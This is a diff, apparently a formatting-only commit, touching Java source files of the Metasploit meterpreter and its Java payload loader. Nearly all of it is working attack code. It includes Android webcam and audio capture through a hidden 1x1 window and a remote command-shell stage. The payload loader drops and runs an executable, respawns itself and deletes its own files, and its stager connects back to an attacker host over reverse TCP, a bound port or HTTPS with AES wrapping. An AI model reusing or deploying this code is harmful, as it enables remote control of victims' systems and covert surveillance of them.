@ -44,15 +44,15 @@ public class webcam_audio_record_android extends webcam_audio_record implements
|
|||||||
short bSamples = (AUDIO_CHANNEL_ENCODING == AudioFormat.ENCODING_PCM_16BIT) ? 16 : 8;
|
short bSamples = (AUDIO_CHANNEL_ENCODING == AudioFormat.ENCODING_PCM_16BIT) ? 16 : 8;
|
||||||
short nChannels = (AUDIO_CHANNEL_CONFIG == AudioFormat.CHANNEL_CONFIGURATION_MONO) ? 1 : 2;
|
short nChannels = (AUDIO_CHANNEL_CONFIG == AudioFormat.CHANNEL_CONFIGURATION_MONO) ? 1 : 2;
|
||||||
da.writeBytes("RIFF");
|
da.writeBytes("RIFF");
|
||||||
da.writeInt(Integer.reverseBytes(36+fullBuffer));
|
da.writeInt(Integer.reverseBytes(36 + fullBuffer));
|
||||||
da.writeBytes("WAVE");
|
da.writeBytes("WAVE");
|
||||||
da.writeBytes("fmt ");
|
da.writeBytes("fmt ");
|
||||||
da.writeInt(Integer.reverseBytes(16)); // Sub-chunk size, 16 for PCM
|
da.writeInt(Integer.reverseBytes(16)); // Sub-chunk size, 16 for PCM
|
||||||
da.writeShort(Short.reverseBytes((short) 1)); // AudioFormat, 1 for PCM
|
da.writeShort(Short.reverseBytes((short) 1)); // AudioFormat, 1 for PCM
|
||||||
da.writeShort(Short.reverseBytes(nChannels));// Number of channels, 1 for mono, 2 for stereo
|
da.writeShort(Short.reverseBytes(nChannels));// Number of channels, 1 for mono, 2 for stereo
|
||||||
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE)); // Sample rate
|
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE)); // Sample rate
|
||||||
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE*bSamples*nChannels/8)); // Byte rate, SampleRate*NumberOfChannels*BitsPerSample/8
|
da.writeInt(Integer.reverseBytes(AUDIO_SAMPLE_RATE * bSamples * nChannels / 8)); // Byte rate, SampleRate*NumberOfChannels*BitsPerSample/8
|
||||||
da.writeShort(Short.reverseBytes((short)(nChannels*bSamples/8))); // Block align, NumberOfChannels*BitsPerSample/8
|
da.writeShort(Short.reverseBytes((short) (nChannels * bSamples / 8))); // Block align, NumberOfChannels*BitsPerSample/8
|
||||||
da.writeShort(Short.reverseBytes(bSamples)); // Bits per sample
|
da.writeShort(Short.reverseBytes(bSamples)); // Bits per sample
|
||||||
da.writeBytes("data");
|
da.writeBytes("data");
|
||||||
da.writeInt(Integer.reverseBytes(fullBuffer));
|
da.writeInt(Integer.reverseBytes(fullBuffer));
|
||||||
|
@ -21,7 +21,7 @@ public class webcam_get_frame_android extends webcam_audio_record implements Com
|
|||||||
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
public int execute(Meterpreter meterpreter, TLVPacket request, TLVPacket response) throws Exception {
|
||||||
|
|
||||||
int quality = request.getIntValue(TLV_TYPE_WEBCAM_QUALITY);
|
int quality = request.getIntValue(TLV_TYPE_WEBCAM_QUALITY);
|
||||||
|
|
||||||
if (webcam_start_android.camera == null) {
|
if (webcam_start_android.camera == null) {
|
||||||
return ERROR_FAILURE;
|
return ERROR_FAILURE;
|
||||||
}
|
}
|
||||||
|
@ -21,7 +21,7 @@ public class webcam_list_android extends webcam_audio_record implements Command
|
|||||||
int cameraCount = 0;
|
int cameraCount = 0;
|
||||||
try {
|
try {
|
||||||
Method getNumberOfCamerasMethod = cameraClass.getMethod("getNumberOfCameras");
|
Method getNumberOfCamerasMethod = cameraClass.getMethod("getNumberOfCameras");
|
||||||
cameraCount = (Integer)getNumberOfCamerasMethod.invoke(null, (Object[])null);
|
cameraCount = (Integer) getNumberOfCamerasMethod.invoke(null, (Object[]) null);
|
||||||
} catch (NoSuchMethodException nsme) {
|
} catch (NoSuchMethodException nsme) {
|
||||||
response.add(TLV_TYPE_WEBCAM_NAME, "Default Camera"); // Pre 2.2 device
|
response.add(TLV_TYPE_WEBCAM_NAME, "Default Camera"); // Pre 2.2 device
|
||||||
return ERROR_SUCCESS;
|
return ERROR_SUCCESS;
|
||||||
|
@ -73,7 +73,7 @@ public class webcam_start_android extends webcam_audio_record implements Command
|
|||||||
}
|
}
|
||||||
});
|
});
|
||||||
surfaceHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
|
surfaceHolder.setType(SurfaceHolder.SURFACE_TYPE_PUSH_BUFFERS);
|
||||||
WindowManager windowManager = (WindowManager)context.getSystemService(Context.WINDOW_SERVICE);
|
WindowManager windowManager = (WindowManager) context.getSystemService(Context.WINDOW_SERVICE);
|
||||||
WindowManager.LayoutParams params = new WindowManager.LayoutParams(1, 1,
|
WindowManager.LayoutParams params = new WindowManager.LayoutParams(1, 1,
|
||||||
WindowManager.LayoutParams.TYPE_TOAST,
|
WindowManager.LayoutParams.TYPE_TOAST,
|
||||||
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
|
WindowManager.LayoutParams.FLAG_LAYOUT_IN_SCREEN | WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE |
|
||||||
|
@ -13,92 +13,92 @@ import java.util.Map;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* An {@link URLConnection} for an URL that is stored completely in memory.
|
* An {@link URLConnection} for an URL that is stored completely in memory.
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public class MemoryBufferURLConnection extends URLConnection {
|
public class MemoryBufferURLConnection extends URLConnection {
|
||||||
|
|
||||||
private static List files = new ArrayList();
|
private static List files = new ArrayList();
|
||||||
|
|
||||||
static {
|
static {
|
||||||
// tweak the cache of already loaded protocol handlers via reflection
|
// tweak the cache of already loaded protocol handlers via reflection
|
||||||
try {
|
try {
|
||||||
Field fld;
|
Field fld;
|
||||||
try {
|
try {
|
||||||
fld = URL.class.getDeclaredField("handlers");
|
fld = URL.class.getDeclaredField("handlers");
|
||||||
} catch (NoSuchFieldException ex) {
|
} catch (NoSuchFieldException ex) {
|
||||||
try {
|
try {
|
||||||
// GNU Classpath (libgcj) calls this field differently
|
// GNU Classpath (libgcj) calls this field differently
|
||||||
fld = URL.class.getDeclaredField("ph_cache");
|
fld = URL.class.getDeclaredField("ph_cache");
|
||||||
} catch (NoSuchFieldException ex2) {
|
} catch (NoSuchFieldException ex2) {
|
||||||
// throw the original exception
|
// throw the original exception
|
||||||
throw ex;
|
throw ex;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
fld.setAccessible(true);
|
fld.setAccessible(true);
|
||||||
Map handlers = (Map) fld.get(null);
|
Map handlers = (Map) fld.get(null);
|
||||||
// Note that although this is a static initializer, it can happen
|
// Note that although this is a static initializer, it can happen
|
||||||
// that two threads are entering this spot at the same time: When
|
// that two threads are entering this spot at the same time: When
|
||||||
// there is more than one classloader context (e. g. in a servlet
|
// there is more than one classloader context (e. g. in a servlet
|
||||||
// container with Spawn=0) and more than one of them is loading
|
// container with Spawn=0) and more than one of them is loading
|
||||||
// a copy of this class at the same time. Work around this by
|
// a copy of this class at the same time. Work around this by
|
||||||
// letting all of them use the same URL stream handler object.
|
// letting all of them use the same URL stream handler object.
|
||||||
synchronized(handlers) {
|
synchronized (handlers) {
|
||||||
// do not use the "real" class name here as the same class
|
// do not use the "real" class name here as the same class
|
||||||
// loaded in different classloader contexts is not the same
|
// loaded in different classloader contexts is not the same
|
||||||
// one for Java -> ClassCastException
|
// one for Java -> ClassCastException
|
||||||
Object /*MemoryBufferURLStreamHandler*/ handler;
|
Object /*MemoryBufferURLStreamHandler*/ handler;
|
||||||
|
|
||||||
if (handlers.containsKey("metasploitmembuff")) {
|
|
||||||
handler = handlers.get("metasploitmembuff");
|
|
||||||
} else {
|
|
||||||
handler = new MemoryBufferURLStreamHandler();
|
|
||||||
handlers.put("metasploitmembuff", handler);
|
|
||||||
}
|
|
||||||
|
|
||||||
// for the same reason, use reflection to obtain the files List
|
|
||||||
files = (List) handler.getClass().getMethod("getFiles", new Class[0]).invoke(handler, new Object[0]);
|
|
||||||
}
|
|
||||||
} catch (Exception ex) {
|
|
||||||
throw new RuntimeException(ex.toString());
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/**
|
if (handlers.containsKey("metasploitmembuff")) {
|
||||||
* Create a new URL from a byte array and its content type.
|
handler = handlers.get("metasploitmembuff");
|
||||||
*/
|
} else {
|
||||||
public static URL createURL(byte[] data, String contentType) throws MalformedURLException {
|
handler = new MemoryBufferURLStreamHandler();
|
||||||
synchronized(files) {
|
handlers.put("metasploitmembuff", handler);
|
||||||
files.add(data);
|
}
|
||||||
return new URL("metasploitmembuff", "", (files.size() - 1) + "/" + contentType);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private final byte[] data;
|
// for the same reason, use reflection to obtain the files List
|
||||||
private final String contentType;
|
files = (List) handler.getClass().getMethod("getFiles", new Class[0]).invoke(handler, new Object[0]);
|
||||||
|
}
|
||||||
|
} catch (Exception ex) {
|
||||||
|
throw new RuntimeException(ex.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
protected MemoryBufferURLConnection(URL url) {
|
/**
|
||||||
super(url);
|
* Create a new URL from a byte array and its content type.
|
||||||
String file = url.getFile();
|
*/
|
||||||
int pos = file.indexOf('/');
|
public static URL createURL(byte[] data, String contentType) throws MalformedURLException {
|
||||||
synchronized (files) {
|
synchronized (files) {
|
||||||
data = (byte[]) files.get(Integer.parseInt(file.substring(0, pos)));
|
files.add(data);
|
||||||
}
|
return new URL("metasploitmembuff", "", (files.size() - 1) + "/" + contentType);
|
||||||
contentType = file.substring(pos + 1);
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
public void connect() throws IOException {
|
private final byte[] data;
|
||||||
}
|
private final String contentType;
|
||||||
|
|
||||||
public InputStream getInputStream() throws IOException {
|
protected MemoryBufferURLConnection(URL url) {
|
||||||
return new ByteArrayInputStream(data);
|
super(url);
|
||||||
}
|
String file = url.getFile();
|
||||||
|
int pos = file.indexOf('/');
|
||||||
|
synchronized (files) {
|
||||||
|
data = (byte[]) files.get(Integer.parseInt(file.substring(0, pos)));
|
||||||
|
}
|
||||||
|
contentType = file.substring(pos + 1);
|
||||||
|
}
|
||||||
|
|
||||||
public int getContentLength() {
|
public void connect() throws IOException {
|
||||||
return data.length;
|
}
|
||||||
}
|
|
||||||
|
|
||||||
public String getContentType() {
|
public InputStream getInputStream() throws IOException {
|
||||||
return contentType;
|
return new ByteArrayInputStream(data);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public int getContentLength() {
|
||||||
|
return data.length;
|
||||||
|
}
|
||||||
|
|
||||||
|
public String getContentType() {
|
||||||
|
return contentType;
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -9,18 +9,18 @@ import java.util.List;
|
|||||||
|
|
||||||
/**
|
/**
|
||||||
* An {@link URLStreamHandler} for a {@link MemoryBufferURLConnection}
|
* An {@link URLStreamHandler} for a {@link MemoryBufferURLConnection}
|
||||||
*
|
*
|
||||||
* @author mihi
|
* @author mihi
|
||||||
*/
|
*/
|
||||||
public class MemoryBufferURLStreamHandler extends URLStreamHandler {
|
public class MemoryBufferURLStreamHandler extends URLStreamHandler {
|
||||||
|
|
||||||
private List files = new ArrayList();
|
private List files = new ArrayList();
|
||||||
|
|
||||||
protected URLConnection openConnection(URL u) throws IOException {
|
protected URLConnection openConnection(URL u) throws IOException {
|
||||||
return new MemoryBufferURLConnection(u);
|
return new MemoryBufferURLConnection(u);
|
||||||
}
|
}
|
||||||
|
|
||||||
public List getFiles() {
|
public List getFiles() {
|
||||||
return files;
|
return files;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -12,14 +12,14 @@ import com.metasploit.meterpreter.MemoryBufferURLConnection;
|
|||||||
*/
|
*/
|
||||||
public class Meterpreter implements Stage {
|
public class Meterpreter implements Stage {
|
||||||
|
|
||||||
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||||
boolean noRedirectError = parameters[parameters.length-1].equals("NoRedirect");
|
boolean noRedirectError = parameters[parameters.length - 1].equals("NoRedirect");
|
||||||
int coreLen = in.readInt();
|
int coreLen = in.readInt();
|
||||||
byte[] core = new byte[coreLen];
|
byte[] core = new byte[coreLen];
|
||||||
in.readFully(core);
|
in.readFully(core);
|
||||||
URL coreURL = MemoryBufferURLConnection.createURL(core, "application/jar");
|
URL coreURL = MemoryBufferURLConnection.createURL(core, "application/jar");
|
||||||
new URLClassLoader(new URL[] { coreURL }, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[] { DataInputStream.class, OutputStream.class, boolean.class, boolean.class }).newInstance(new Object[] { in, out, Boolean.TRUE, new Boolean(!noRedirectError) });
|
new URLClassLoader(new URL[]{coreURL}, getClass().getClassLoader()).loadClass("com.metasploit.meterpreter.Meterpreter").getConstructor(new Class[]{DataInputStream.class, OutputStream.class, boolean.class, boolean.class}).newInstance(new Object[]{in, out, Boolean.TRUE, new Boolean(!noRedirectError)});
|
||||||
in.close();
|
in.close();
|
||||||
out.close();
|
out.close();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -38,19 +38,19 @@ import java.io.DataInputStream;
|
|||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
|
|
||||||
public class Shell implements Stage {
|
public class Shell implements Stage {
|
||||||
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
public void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception {
|
||||||
final String[] cmdarray = new String[1];
|
final String[] cmdarray = new String[1];
|
||||||
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
|
if (System.getProperty("os.name").toLowerCase().indexOf("windows") != -1) {
|
||||||
cmdarray[0] = "cmd.exe";
|
cmdarray[0] = "cmd.exe";
|
||||||
} else {
|
} else {
|
||||||
cmdarray[0] = "/bin/sh";
|
cmdarray[0] = "/bin/sh";
|
||||||
}
|
}
|
||||||
final Process proc = Runtime.getRuntime().exec(cmdarray);
|
final Process proc = Runtime.getRuntime().exec(cmdarray);
|
||||||
new StreamForwarder(in, proc.getOutputStream(), out).start();
|
new StreamForwarder(in, proc.getOutputStream(), out).start();
|
||||||
new StreamForwarder(proc.getInputStream(), out, out).start();
|
new StreamForwarder(proc.getInputStream(), out, out).start();
|
||||||
new StreamForwarder(proc.getErrorStream(), out, out).start();
|
new StreamForwarder(proc.getErrorStream(), out, out).start();
|
||||||
proc.waitFor();
|
proc.waitFor();
|
||||||
in.close();
|
in.close();
|
||||||
out.close();
|
out.close();
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
@ -38,5 +38,5 @@ import java.io.DataInputStream;
|
|||||||
import java.io.OutputStream;
|
import java.io.OutputStream;
|
||||||
|
|
||||||
public interface Stage {
|
public interface Stage {
|
||||||
public abstract void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception;
|
public abstract void start(DataInputStream in, OutputStream out, String[] parameters) throws Exception;
|
||||||
}
|
}
|
||||||
|
@ -40,60 +40,62 @@ import java.io.OutputStream;
|
|||||||
import java.io.PrintStream;
|
import java.io.PrintStream;
|
||||||
|
|
||||||
public class StreamForwarder extends Thread {
|
public class StreamForwarder extends Thread {
|
||||||
public static void forward(InputStream in, OutputStream out) throws IOException {
|
public static void forward(InputStream in, OutputStream out) throws IOException {
|
||||||
forward(in, out, true);
|
forward(in, out, true);
|
||||||
}
|
}
|
||||||
|
|
||||||
public static void forward(InputStream in, OutputStream out, boolean closeOut) throws IOException {
|
|
||||||
try {
|
|
||||||
final byte[] buf = new byte[4096];
|
|
||||||
int length;
|
|
||||||
while ((length = in.read(buf)) != -1) {
|
|
||||||
if (out != null) {
|
|
||||||
out.write(buf, 0, length);
|
|
||||||
if (in.available() == 0) {
|
|
||||||
out.flush();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} finally {
|
|
||||||
in.close();
|
|
||||||
if (closeOut)
|
|
||||||
out.close();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
private final InputStream in;
|
public static void forward(InputStream in, OutputStream out, boolean closeOut) throws IOException {
|
||||||
private final OutputStream out;
|
try {
|
||||||
|
final byte[] buf = new byte[4096];
|
||||||
|
int length;
|
||||||
|
while ((length = in.read(buf)) != -1) {
|
||||||
|
if (out != null) {
|
||||||
|
out.write(buf, 0, length);
|
||||||
|
if (in.available() == 0) {
|
||||||
|
out.flush();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
} finally {
|
||||||
|
in.close();
|
||||||
|
if (closeOut)
|
||||||
|
out.close();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private final OutputStream stackTraceOut;
|
private final InputStream in;
|
||||||
private final boolean closeOut;
|
private final OutputStream out;
|
||||||
|
|
||||||
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut) {
|
private final OutputStream stackTraceOut;
|
||||||
this(in,out,stackTraceOut,true);
|
private final boolean closeOut;
|
||||||
}
|
|
||||||
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut, boolean closeOut) {
|
|
||||||
this.in = in;
|
|
||||||
this.out = out;
|
|
||||||
this.stackTraceOut = stackTraceOut;
|
|
||||||
this.closeOut = closeOut;
|
|
||||||
}
|
|
||||||
|
|
||||||
public void run() {
|
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut) {
|
||||||
try {
|
this(in, out, stackTraceOut, true);
|
||||||
forward(in, out, closeOut);
|
}
|
||||||
} catch (final Throwable ex) {
|
|
||||||
if (stackTraceOut == null)
|
public StreamForwarder(InputStream in, OutputStream out, OutputStream stackTraceOut, boolean closeOut) {
|
||||||
throwWrapped(ex);
|
this.in = in;
|
||||||
ex.printStackTrace(new PrintStream(stackTraceOut, true));
|
this.out = out;
|
||||||
}
|
this.stackTraceOut = stackTraceOut;
|
||||||
}
|
this.closeOut = closeOut;
|
||||||
|
}
|
||||||
private static void throwWrapped(Throwable ex) {
|
|
||||||
/* #JDK1.4 */try {
|
public void run() {
|
||||||
throw new RuntimeException(ex);
|
try {
|
||||||
} catch (NoSuchMethodError ex2) /**/{
|
forward(in, out, closeOut);
|
||||||
throw new RuntimeException(ex.toString());
|
} catch (final Throwable ex) {
|
||||||
}
|
if (stackTraceOut == null)
|
||||||
}
|
throwWrapped(ex);
|
||||||
|
ex.printStackTrace(new PrintStream(stackTraceOut, true));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void throwWrapped(Throwable ex) {
|
||||||
|
/* #JDK1.4 */
|
||||||
|
try {
|
||||||
|
throw new RuntimeException(ex);
|
||||||
|
} catch (NoSuchMethodError ex2) /**/ {
|
||||||
|
throw new RuntimeException(ex.toString());
|
||||||
|
}
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
@ -19,24 +19,24 @@ import javax.crypto.spec.SecretKeySpec;
|
|||||||
* other/older JREs to load it.
|
* other/older JREs to load it.
|
||||||
*/
|
*/
|
||||||
public class AESEncryption {
|
public class AESEncryption {
|
||||||
public static Object[] wrapStreams(InputStream in, OutputStream out, String key) throws Exception {
|
public static Object[] wrapStreams(InputStream in, OutputStream out, String key) throws Exception {
|
||||||
DataInputStream din = new DataInputStream(in);
|
DataInputStream din = new DataInputStream(in);
|
||||||
din.readInt(); // first class size 0 as marker in JavaPayload
|
din.readInt(); // first class size 0 as marker in JavaPayload
|
||||||
SecureRandom sr = new SecureRandom();
|
SecureRandom sr = new SecureRandom();
|
||||||
byte[] outIV = new byte[16];
|
byte[] outIV = new byte[16];
|
||||||
sr.nextBytes(outIV);
|
sr.nextBytes(outIV);
|
||||||
out.write(outIV);
|
out.write(outIV);
|
||||||
out.flush();
|
out.flush();
|
||||||
byte[] inIV = new byte[16];
|
byte[] inIV = new byte[16];
|
||||||
din.readFully(inIV);
|
din.readFully(inIV);
|
||||||
byte[] keyBytes = MessageDigest.getInstance("MD5").digest(key.getBytes());
|
byte[] keyBytes = MessageDigest.getInstance("MD5").digest(key.getBytes());
|
||||||
Cipher co = Cipher.getInstance("AES/CFB8/NoPadding");
|
Cipher co = Cipher.getInstance("AES/CFB8/NoPadding");
|
||||||
co.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(outIV), sr);
|
co.init(Cipher.ENCRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(outIV), sr);
|
||||||
Cipher ci = Cipher.getInstance("AES/CFB8/NoPadding");
|
Cipher ci = Cipher.getInstance("AES/CFB8/NoPadding");
|
||||||
ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr);
|
ci.init(Cipher.DECRYPT_MODE, new SecretKeySpec(keyBytes, "AES"), new IvParameterSpec(inIV), sr);
|
||||||
return new Object[] {
|
return new Object[]{
|
||||||
new CipherInputStream(din, ci),
|
new CipherInputStream(din, ci),
|
||||||
new CipherOutputStream(out, co),
|
new CipherOutputStream(out, co),
|
||||||
};
|
};
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -1,5 +1,7 @@
|
|||||||
package metasploit;
|
package metasploit;
|
||||||
|
|
||||||
import java.io.*;
|
import java.io.*;
|
||||||
|
|
||||||
import javax.management.*;
|
import javax.management.*;
|
||||||
|
|
||||||
public class JMXPayload implements JMXPayloadMBean {
|
public class JMXPayload implements JMXPayloadMBean {
|
||||||
|
@ -58,195 +58,195 @@ import java.util.Stack;
|
|||||||
import java.util.StringTokenizer;
|
import java.util.StringTokenizer;
|
||||||
|
|
||||||
/**
|
/**
|
||||||
* The main payload loader class.
|
* The main payload loader class.
|
||||||
*
|
* <p/>
|
||||||
* To invoke all the magic, call the {@link #main(String[])} method
|
* To invoke all the magic, call the {@link #main(String[])} method
|
||||||
* (Or use it as Main-Class in a standalone jar and double-click it).
|
* (Or use it as Main-Class in a standalone jar and double-click it).
|
||||||
*/
|
*/
|
||||||
public class Payload extends ClassLoader {
|
public class Payload extends ClassLoader {
|
||||||
|
|
||||||
public static void main(String[] ignored) throws Exception {
|
public static void main(String[] ignored) throws Exception {
|
||||||
// Find our properties. If we are running inside the jar, they are in a resource stream called "/metasploit.dat".
|
// Find our properties. If we are running inside the jar, they are in a resource stream called "/metasploit.dat".
|
||||||
Properties props = new Properties();
|
Properties props = new Properties();
|
||||||
Class clazz = Payload.class;
|
Class clazz = Payload.class;
|
||||||
String clazzFile = clazz.getName().replace('.', '/')+".class";
|
String clazzFile = clazz.getName().replace('.', '/') + ".class";
|
||||||
InputStream propsStream = clazz.getResourceAsStream("/metasploit.dat");
|
InputStream propsStream = clazz.getResourceAsStream("/metasploit.dat");
|
||||||
if (propsStream != null) {
|
if (propsStream != null) {
|
||||||
props.load(propsStream);
|
props.load(propsStream);
|
||||||
propsStream.close();
|
propsStream.close();
|
||||||
}
|
}
|
||||||
|
|
||||||
// check if we should drop an executable
|
|
||||||
String executableName = props.getProperty("Executable");
|
|
||||||
if (executableName != null) {
|
|
||||||
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
|
|
||||||
dummyTempFile.delete();
|
|
||||||
File tempDir = new File(dummyTempFile.getAbsolutePath()+".dir");
|
|
||||||
tempDir.mkdir();
|
|
||||||
File executableFile = new File(tempDir, executableName);
|
|
||||||
writeEmbeddedFile(clazz, executableName, executableFile);
|
|
||||||
props.remove("Executable");
|
|
||||||
props.put("DroppedExecutable", executableFile.getCanonicalPath());
|
|
||||||
}
|
|
||||||
|
|
||||||
// check if we should respawn
|
|
||||||
int spawn = Integer.parseInt(props.getProperty("Spawn", "0"));
|
|
||||||
String droppedExecutable = props.getProperty("DroppedExecutable");
|
|
||||||
if (spawn > 0) {
|
|
||||||
// decrease count so that eventually the process
|
|
||||||
// will stop spawning
|
|
||||||
props.setProperty("Spawn", String.valueOf(spawn - 1));
|
|
||||||
// write our class
|
|
||||||
File dummyTempFile = File.createTempFile("~spawn", ".tmp");
|
|
||||||
dummyTempFile.delete();
|
|
||||||
File tempDir = new File(dummyTempFile.getAbsolutePath()+".dir");
|
|
||||||
File propFile = new File(tempDir, "metasploit.dat");
|
|
||||||
File classFile = new File(tempDir, clazzFile);
|
|
||||||
classFile.getParentFile().mkdirs();
|
|
||||||
// load ourselves via the class loader (works both on disk and from Jar)
|
|
||||||
writeEmbeddedFile(clazz, clazzFile, classFile);
|
|
||||||
if(props.getProperty("URL", "").startsWith("https:")) {
|
|
||||||
writeEmbeddedFile(clazz, "metasploit/PayloadTrustManager.class", new File(classFile.getParentFile(), "PayloadTrustManager.class"));
|
|
||||||
}
|
|
||||||
if (props.getProperty("AESPassword", null) != null) {
|
|
||||||
writeEmbeddedFile(clazz, "metasploit/AESEncryption.class", new File(classFile.getParentFile(), "AESEncryption.class"));
|
|
||||||
}
|
|
||||||
FileOutputStream fos = new FileOutputStream(propFile);
|
|
||||||
props.store(fos, "");
|
|
||||||
fos.close();
|
|
||||||
Process proc = Runtime.getRuntime().exec(new String[] {
|
|
||||||
getJreExecutable("java"),
|
|
||||||
"-classpath",
|
|
||||||
tempDir.getAbsolutePath(),
|
|
||||||
clazz.getName()
|
|
||||||
});
|
|
||||||
// the input streams might cause the child process to block if
|
|
||||||
// we do not read or close them
|
|
||||||
proc.getInputStream().close();
|
|
||||||
proc.getErrorStream().close();
|
|
||||||
|
|
||||||
// give the process plenty of time to load the class if needed
|
|
||||||
Thread.sleep(2000);
|
|
||||||
|
|
||||||
// clean up (we can even delete the .class file on Windows
|
|
||||||
// if the process is still running). Note that delete()
|
|
||||||
// will only delete empty directories, so we have to delete
|
|
||||||
// everything else first
|
|
||||||
File[] files = new File[] {
|
|
||||||
classFile, classFile.getParentFile(), propFile, tempDir
|
|
||||||
};
|
|
||||||
for (int i = 0; i < files.length; i++) {
|
|
||||||
for (int j = 0; j < 10; j++) {
|
|
||||||
if (files[i].delete())
|
|
||||||
break;
|
|
||||||
files[i].deleteOnExit();
|
|
||||||
Thread.sleep(100);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
} else if (droppedExecutable != null) {
|
|
||||||
File droppedFile = new File(droppedExecutable);
|
|
||||||
// File.setExecutable is Java 1.6+, therefore call it via reflection and try
|
|
||||||
// the chmod alternative if it fails. Do not call it at all for Windows.
|
|
||||||
if (!IS_DOS) {
|
|
||||||
try {
|
|
||||||
try {
|
|
||||||
File.class.getMethod("setExecutable", new Class[] {boolean.class}).invoke(droppedFile, new Object[] { Boolean.TRUE});
|
|
||||||
} catch (NoSuchMethodException ex) {
|
|
||||||
// ok, no setExecutable method, call chmod and wait for it
|
|
||||||
Runtime.getRuntime().exec(new String[] {"chmod", "+x", droppedExecutable}).waitFor();
|
|
||||||
}
|
|
||||||
} catch (Exception ex) {
|
|
||||||
// try to continue anyway, we have nothing to lose
|
|
||||||
ex.printStackTrace();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
// now execute the executable.
|
|
||||||
// tempdir may contain spaces, so do not use the String variant of exec!
|
|
||||||
Runtime.getRuntime().exec(new String[] {droppedExecutable});
|
|
||||||
|
|
||||||
// Linux and other Unices allow removing files while they are in use
|
|
||||||
if (!IS_DOS) {
|
|
||||||
droppedFile.delete();
|
|
||||||
droppedFile.getParentFile().delete();
|
|
||||||
}
|
|
||||||
} else {
|
|
||||||
// check what stager to use (bind/reverse)
|
|
||||||
int lPort = Integer.parseInt(props.getProperty("LPORT", "4444"));
|
|
||||||
String lHost = props.getProperty("LHOST", null);
|
|
||||||
String url = props.getProperty("URL", null);
|
|
||||||
InputStream in;
|
|
||||||
OutputStream out;
|
|
||||||
if (lPort <= 0) {
|
|
||||||
// debug code: just connect to stdin/stdout
|
|
||||||
// best used with embedded stages
|
|
||||||
in = System.in;
|
|
||||||
out = System.out;
|
|
||||||
} else if (url != null) {
|
|
||||||
if (url.startsWith("raw:"))
|
|
||||||
// for debugging: just use raw bytes from property file
|
|
||||||
in = new ByteArrayInputStream(url.substring(4).getBytes("ISO-8859-1"));
|
|
||||||
else if (url.startsWith("https:")) {
|
|
||||||
URLConnection uc = new URL(url).openConnection();
|
|
||||||
// load the trust manager via reflection, to avoid loading
|
|
||||||
// it when it is not needed (it requires Sun Java 1.4+)
|
|
||||||
Class.forName("metasploit.PayloadTrustManager").getMethod("useFor", new Class[] {URLConnection.class}).invoke(null, new Object[] {uc});
|
|
||||||
in = uc.getInputStream();
|
|
||||||
} else
|
|
||||||
in = new URL(url).openStream();
|
|
||||||
out = new ByteArrayOutputStream();
|
|
||||||
} else {
|
|
||||||
Socket socket;
|
|
||||||
if (lHost != null) {
|
|
||||||
// reverse_tcp
|
|
||||||
socket = new Socket(lHost, lPort);
|
|
||||||
} else {
|
|
||||||
// bind_tcp
|
|
||||||
ServerSocket serverSocket = new ServerSocket(lPort);
|
|
||||||
socket = serverSocket.accept();
|
|
||||||
serverSocket.close(); // no need to listen any longer
|
|
||||||
}
|
|
||||||
in = socket.getInputStream();
|
|
||||||
out = socket.getOutputStream();
|
|
||||||
}
|
|
||||||
|
|
||||||
String aesPassword = props.getProperty("AESPassword", null);
|
|
||||||
if (aesPassword != null) {
|
|
||||||
// load the crypto code via reflection, to avoid loading
|
|
||||||
// it when it is not needed (it requires Sun Java 1.4+ or JCE)
|
|
||||||
Object[] streams = (Object[])Class.forName("metasploit.AESEncryption").getMethod("wrapStreams", new Class[] {InputStream.class, OutputStream.class, String.class}).invoke(null, new Object[] {in, out, aesPassword});
|
|
||||||
in = (InputStream) streams[0];
|
|
||||||
out = (OutputStream) streams[1];
|
|
||||||
}
